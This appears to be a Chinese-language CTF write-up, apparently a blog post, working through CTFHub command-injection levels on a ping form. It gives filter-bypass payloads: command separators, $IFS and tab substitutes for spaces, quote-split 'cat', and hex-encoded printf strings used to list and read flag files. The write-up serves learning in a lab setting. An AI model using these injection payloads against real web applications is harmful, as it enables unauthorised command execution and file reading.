
这种题其实已经比较熟悉了,使用 |,&&,;等分隔符对前面ping的内容进行隔断,然后执行自己的命令
任意值;ls
发现了除了目录下除了index.php外还有另一个php文件
输入 127.0.0.0;cat 21701615624125.php 发现确实多了个反馈的参数,但是看不到值,很疑惑后面知道了,这是因为cat命令反馈的值无法直接显示
这时有两个方法,一是直接查看源码
源码里是能看到的
第二个方法是直接把命令改为
127.0.0.1;cat 27712282015742.php|base64
|可以把前面的输出作为输入参数加入后面的指令中,这里目的就是把前面的php内容进行base64编码后显示
这样可以正常显示在网页中
2.在输入中过滤了cat命令
直接用less、more这种cat的替代命令即可
3.过滤了空格
bash下,空格可以用以下符号代替
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS
在Bash下测试了一下,<号最好用,其他符号暂时没看到效果
4.过滤目录分隔符
这个题稍微做了点改动,ls出的当前目录中不包含直接的flag,而是有一个文件夹,需要进入文件夹内查看flag
两次分别输入以下命令
2;cd flag_is_here&&ls
2;cd flag_is_here&&cat flag_144761056618798.php
&&号是前面的命令成功的情况下才执行后面的命令
5.过滤运算符
过滤了 |和&号,;号没有过滤,直接用常规方法解题即可
6.综合过滤
!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m))
过滤了 | & ; 空格 cat flag ctfhub
首先需要输入命令
127.0.0.1(分隔符)ls
常规分割符被过滤了,所以需要使用非常规的
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
在这里输入命令
127.0.0.1%0als
上传的时候会经过url编码变为
就达不到命令的目的了
因此,我们得直接在url上写参数127.0.0.1%0als
得到文件位置
2.下一步需要输入命令
cd flag_is_here;ls
这里需要解决空格,flag,;号的问题
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS$1
空格用以上符号代替
flag等在字符绕过的方式很多:
https://www.cnblogs.com/threesoil/p/12462349.html内有较多记载
我这里用一个十六进制的方式试试
cd<flag_is_here%0als
看了其他人的payload
最后两步的payload分别是
ip=127.0.0.1%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)
ip=127.0.0.1%0Aca%27%27t${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x2F\x66\x6C\x61\x67\x5F\x32\x31\x37\x38\x38\x33\x31\x31\x36\x38\x38\x36\x30\x31\x2E\x70\x68\x70%22)
分别是ls flag_is_here
然后直接 cat flag_is_here/flag.php
其中的%22,%27是经过url编码过后的表示,原文应该是" ,’,即双引号和单引号。如果直接在url上写payload的话,不能经过Url编码,需要手动把双引号和单引号改为%22,%27表示,经过测试发现如果直接在Url上输入的话不改为%22,%27也可以
在自己linux系统下测试了一下,完整的一个payload如上,十六进制为对应的字符串转码
这些绕过过滤的方式还需要继续学习
这里附带一句:字母和符号转换为对应的16进制码即是对应ASC码的16进制
补上一篇大佬的帖子,里面的内容不完全针对这个题,但是有很多可用的绕过技巧
https://www.cnblogs.com/threesoil/p/12462349.html
本文详细介绍了如何在CTF挑战中应对各种命令注入过滤,包括使用管道、运算符、空格和目录分隔符的替代方法,以及绕过URL编码限制,通过十六进制转码来读取隐藏文件。

2024

被折叠的 条评论
为什么被折叠?



